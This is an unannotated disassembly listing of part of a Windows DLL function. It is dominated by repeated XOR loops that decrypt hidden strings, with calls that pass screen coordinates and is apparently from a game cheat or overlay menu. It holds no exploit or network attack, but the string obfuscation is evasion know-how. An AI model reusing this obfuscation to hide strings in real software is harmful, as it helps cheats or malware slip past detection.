psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a04]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a04], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a00]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18009b9e0
lea rdx, [0x18024915a]
lea rcx, [rbp + 0x1a00]
call fcn.1800032d0
cmp byte [0x1801c3d5b], r14b
movsd xmm0, qword [0x1801c3d50]
mov eax, dword [0x1801c3d58]
movsd qword [rbp + 0x1468], xmm0
mov dword [rbp + 0x1470], eax
je 0x18009bb94
mov r8d, r14d
cmp r12d, 2
jl 0x18009bb4a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3d50]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1468], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x146c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x146c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1468]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18009bb60
lea rdx, [0x180249159]
lea rcx, [rbp + 0x1468]
call fcn.1800032d0
movzx eax, byte [0x1801c3d70]
mov r8d, r14d
mov byte [rbp + 0x2110], al
movups xmm0, xmmword [0x1801c3d60]
movups xmmword [rbp + 0x2100], xmm0
cmp r12d, 2
jl 0x18009bcdc
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2104]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009bbe1
cmp r8d, 0x11
jge 0x18009bd24
movsxd rax, r8d
lea r9, [rbp + 0x2100]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x18009bcf0
lea rdx, [0x18024915c]
lea rcx, [rbp + 0x2100]
call fcn.1800032d0
mov eax, dword [0x1801c3d80]
mov r8d, r14d
movsd xmm0, qword [0x1801c3d78]
mov dword [rbp + 0x1c28], eax
movzx eax, word [0x1801c3d84]
mov word [rbp + 0x1c2c], ax
movzx eax, byte [0x1801c3d86]
mov byte [rbp + 0x1c2e], al
movsd qword [rbp + 0x1c20], xmm0
cmp r12d, 2
jl 0x18009be68
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3d78]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1c20], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c24]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c24], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c20]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18009be80
lea rdx, [0x18024915d]
lea rcx, [rbp + 0x1c20]
call fcn.1800032d0
call fcn.180006c20
cmp byte [0x1801c3d93], r14b
movsd xmm0, qword [0x1801c3d88]
mov eax, dword [0x1801c3d90]
movsd qword [rbp + 0x1478], xmm0
mov dword [rbp + 0x838], 0x43a00000
mov dword [rbp + 0x83c], 0x436b4405
mov dword [rbp + 0x1480], eax
je 0x18009c044
mov r8d, r14d
cmp r12d, 2
jl 0x18009c003
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3d88]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1478], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x147c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x147c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1478]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18009c010
xor r9d, r9d
lea rdx, [rbp + 0x838]
mov r8b, 1
lea rcx, [rbp + 0x1478]
call fcn.180003d00
movzx eax, word [0x1801c3da0]
lea rdx, [0x180249168]
movsd xmm0, qword [0x1801c3d98]
lea rcx, [rbp + 0x1438]
movsd qword [rbp + 0x1438], xmm0
movaps xmm3, xmm6
xor byte [rbp + 0x1439], 0x37
xorps xmm2, xmm2
xor byte [rbp + 0x143a], 0x38
xorps xmm7, xmm7
xor byte [rbp + 0x143b], 0x39
xor byte [rbp + 0x143c], 0x3a
xor byte [rbp + 0x143d], 0x3b
xor byte [rbp + 0x143e], 0x3c
xor byte [rbp + 0x143f], 0x3d
mov word [rbp + 0x1440], ax
movzx eax, byte [0x1801c3da2]
xor byte [rbp + 0x1440], 0x3e
xor al, 0x40
xor byte [rbp + 0x1441], 0x3f
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0x1442], al
mov byte [rbp + 0x1438], 0x46
mov qword [rsp + 0x20], rdi
call fcn.180008e50
movzx eax, byte [0x1801c3db0]
lea rdx, [0x18024916c]
movsd xmm0, qword [0x1801c3da8]
lea rcx, [rbp + 0xd48]
movsd qword [rbp + 0xd48], xmm0
xor al, 0x3e
xor byte [rbp + 0xd49], 0x37
mov r9d, 0x3e8
xor byte [rbp + 0xd4a], 0x38
mov r8d, 1
xor byte [rbp + 0xd4b], 0x39
xor byte [rbp + 0xd4c], 0x3a
xor byte [rbp + 0xd4d], 0x3b
xor byte [rbp + 0xd4e], 0x3c
xor byte [rbp + 0xd4f], 0x3d
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0xd50], al
mov byte [rbp + 0xd48], 0x44
mov qword [rsp + 0x20], rbx
call fcn.180008ec0
movzx ecx, word [0x1801c3db8]
lea rdx, [0x180249160]
mov eax, dword [str.eZWVNS_]
xorps xmm2, xmm2
movss xmm3, dword [0x1801ad848]
mov dword [rbp + 0x2a8], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x2a9], 0x37
xor al, 0x3c
xor byte [rbp + 0x2aa], 0x38
xor byte [rbp + 0x2ab], 0x39
mov word [rbp + 0x2ac], cx
xor cl, 0x3a
xor byte [rbp + 0x2ad], 0x3b
mov byte [rbp + 0x2ac], cl
lea rcx, [rbp + 0x2a8]
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0x2a8], 0x53
mov byte [rbp + 0x2ae], al
mov qword [rsp + 0x20], rdi
call fcn.180008e50
movzx eax, byte [0x1801c3dd0]
mov r8d, r14d
mov byte [rbp + 0x2128], al
movups xmm0, xmmword [str.bEQ_N_QK_]
movups xmmword [rbp + 0x2118], xmm0
cmp r12d, 2
jl 0x18009c32b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x211c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009c230
cmp r8d, 0x11
jge 0x18009c374
movsxd rax, r8d
lea r9, [rbp + 0x2118]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x18009c340
mov dword [rsp + 0x28], r14d
lea rdx, [0x180249028]
mov r9d, 0x3e8
mov qword [rsp + 0x20], rbx
xor r8d, r8d
lea rcx, [rbp + 0x2118]
call fcn.180008ec0
call fcn.180006c20
call fcn.180013d50
jmp 0x18009c3a9
xorps xmm7, xmm7
cmp dword [0x18024dbfc], 1
jne 0x18009dab4
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x840]
movss xmm9, dword [0x1801c6db8]
addss xmm0, xmm9
mov dword [rbp + 0x840], 0x43520000
movss dword [rbp + 0x844], xmm0
call fcn.180025700
mov eax, dword [0x1801c3dd4]
lea rdx, [rbp + 0x848]
mov dword [rbp + 0x80], eax
lea rcx, [rbp + 0x80]
movzx eax, byte [0x1801c3dd8]
mov r9d, 8
xor byte [rbp + 0x81], 0x37
xor al, 0x3a
xor byte [rbp + 0x82], 0x38
xor r8d, r8d
xor byte [rbp + 0x83], 0x39
mov byte [rbp + 0x84], al
mov dword [rbp + 0x848], 0x43a50000
mov dword [rbp + 0x84c], 0x4405c000
mov byte [rbp + 0x80], Ordinal_79
call fcn.18000fcc0
movzx ecx, word [0x1801c3de8]
lea rdx, [rbp + 0x850]
movzx eax, byte [0x1801c3dea]
xor r9d, r9d
movsd xmm0, qword [0x1801c3de0]
xor al, 0x40
movsd qword [rbp + 0x1448], xmm0
mov r8b, 1
xor byte [rbp + 0x1449], 0x37
xor byte [rbp + 0x144a], 0x38
xor byte [rbp + 0x144b], 0x39
xor byte [rbp + 0x144c], 0x3a
xor byte [rbp + 0x144d], 0x3b
xor byte [rbp + 0x144e], 0x3c
xor byte [rbp + 0x144f], 0x3d
mov word [rbp + 0x1450], cx
xor cl, 0x3e
xor byte [rbp + 0x1451], 0x3f
mov byte [rbp + 0x1450], cl
lea rcx, [rbp + 0x1448]
mov dword [rbp + 0x850], 0x43a00000
mov dword [rbp + 0x854], 0x43ed8000
mov byte [rbp + 0x1448], 0x53
mov byte [rbp + 0x1452], al
call fcn.180003d00
movzx ecx, word [0x1801c3df8]
lea rdx, [0x180249170]
movzx eax, byte [0x1801c3dfa]
movsd xmm0, qword [0x1801c3df0]
xor al, 0x40
movsd qword [rbp + 0x1198], xmm0
xor byte [rbp + 0x1199], 0x37
xor byte [rbp + 0x119a], 0x38
xor byte [rbp + 0x119b], 0x39
xor byte [rbp + 0x119c], 0x3a
xor byte [rbp + 0x119d], 0x3b
xor byte [rbp + 0x119e], 0x3c
xor byte [rbp + 0x119f], 0x3d
mov word [rbp + 0x11a0], cx
xor cl, 0x3e
xor byte [rbp + 0x11a1], 0x3f
mov byte [rbp + 0x11a0], cl
lea rcx, [rbp + 0x1198]
mov byte [rbp + 0x1198], 0x53
mov byte [rbp + 0x11a2], al
call fcn.1800032d0
cmp byte [reloc.WS2_32.dll_gethostname], r14b
mov eax, dword [str.pxn9bVJ_O]
mov dword [rbp - 0x50], eax
je 0x18009c644
cmp r12d, 2
jl 0x18009c600
movdqa xmm1, xmm15
movdqa xmm0, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rbp - 0x50], xmm1
jmp 0x18009c644
lea r9, [rbp - 0x50]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x18009c610
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x2c70]
call fcn.1800635b0
mov rcx, rax
lea r8, [0x180249148]
lea rdx, [0x18024917e]
call fcn.18006f530
cmp byte [0x1801c3e0b], r14b
movsd xmm0, qword [0x1801c3e00]
mov eax, dword [0x1801c3e08]
movsd qword [rbp + 0x1488], xmm0
mov dword [rbp + 0x1490], eax
je 0x18009c7d4
mov r8d, r14d
cmp r12d, 2
jl 0x18009c78d
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3e00]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1488], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x148c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x148c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1488]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18009c7a0
lea rdx, [0x18024917c]
lea rcx, [rbp + 0x1488]
call fcn.1800032d0
cmp byte [0x1801c3e1b], r14b
movsd xmm0, qword [0x1801c3e10]
mov eax, dword [0x1801c3e18]
movsd qword [rbp + 0x1498], xmm0
mov dword [rbp + 0x14a0], eax
je 0x18009c954
mov r8d, r14d
cmp r12d, 2
jl 0x18009c90a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3e10]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1498], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x149c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x149c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1498]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18009c920
lea rdx, [0x180249175]
lea rcx, [rbp + 0x1498]
call fcn.1800032d0
mov eax, dword [0x1801c3e28]
mov r8d, r14d
movsd xmm0, qword [str.V_PYeHRS_5B]
mov dword [rbp + 0x18a8], eax
movzx eax, byte [0x1801c3e2c]
mov byte [rbp + 0x18ac], al
movsd qword [rbp + 0x18a0], xmm0
cmp r12d, 2
jl 0x18009ca8a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.V_PYeHRS_5B]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x18a0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x18a4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18a4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18a0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18009caa0
lea rdx, [0x180249174]
lea rcx, [rbp + 0x18a0]
call fcn.1800032d0
mov eax, dword [str.P._B]
mov r8d, r14d
movsd xmm0, qword [str.u_WJ_HH]
mov dword [rbp + 0x18b8], eax
movzx eax, byte [0x1801c3e3c]
mov byte [rbp + 0x18bc], al
movsd qword [rbp + 0x18b0], xmm0
cmp r12d, 2
jl 0x18009cc0a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.u_WJ_HH]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x18b0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x18b4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18b4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18b0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18009cc20
lea rdx, [0x1802494ec]
lea rcx, [rbp + 0x18b0]
call fcn.1800032d0
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x858]
addss xmm0, xmm9
mov dword [rbp + 0x858], 0x44070000
movss dword [rbp + 0x85c], xmm0
call fcn.180025700
movzx ecx, word [0x1801c3e44]
lea rdx, [rbp + 0x860]
mov eax, dword [0x1801c3e40]
mov r9d, 8
mov dword [rbp + 0x2b0], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x2b1], 0x37
xor al, 0x3c
xor byte [rbp + 0x2b2], 0x38
xor byte [rbp + 0x2b3], 0x39
mov word [rbp + 0x2b4], cx
xor cl, 0x3a
xor byte [rbp + 0x2b5], 0x3b
mov byte [rbp + 0x2b4], cl
lea rcx, [rbp + 0x2b0]
mov dword [rbp + 0x860], 0x43b68000
mov dword [rbp + 0x864], 0x4405c000
mov byte [rbp + 0x2b0], Ordinal_79
mov byte [rbp + 0x2b6], al
call fcn.18000fcc0
cmp byte [0x1801c3e51], r14b
movsd xmm0, qword [0x1801c3e48]
movzx eax, word [0x1801c3e50]
movsd qword [rbp + 0xfc8], xmm0
mov word [rbp + 0xfd0], ax
mov dword [rbp + 0x868], 0x43a00000
mov dword [rbp + 0x86c], 0x433e0000
je 0x18009cda2
xor byte [rbp + 0xfc9], 0x37
xor byte [rbp + 0xfca], 0x38
xor byte [rbp + 0xfcb], 0x39
xor byte [rbp + 0xfcc], 0x3a
xor byte [rbp + 0xfcd], 0x3b
xor byte [rbp + 0xfce], 0x3c
xor byte [rbp + 0xfcf], 0x3d
xor byte [rbp + 0xfd0], 0x3e
xor byte [rbp + 0xfd1], 0x3f
mov byte [rbp + 0xfc8], 0x46
xor r9d, r9d
lea rdx, [rbp + 0x868]
mov r8b, 1
lea rcx, [rbp + 0xfc8]
call fcn.180003d00
cmp byte [0x1802494ec], r14b
jne 0x18009ce20
mov eax, dword [str.tXV:]
lea r8, str.Head
mov dword [rbp + 0xb0], eax
lea rdx, [0x1802494e8]
movzx eax, byte [0x1801c3e58]
lea rcx, [rbp + 0xb0]
xor byte [rbp + 0xb1], 0x37
xor al, 0x3a
xor byte [rbp + 0xb2], 0x38
mov r9d, 3
xor byte [rbp + 0xb3], 0x39
mov byte [rbp + 0xb4], al
mov byte [rbp + 0xb0], 0x42
mov dword [rsp + 0x20], r13d
call fcn.180006bf0
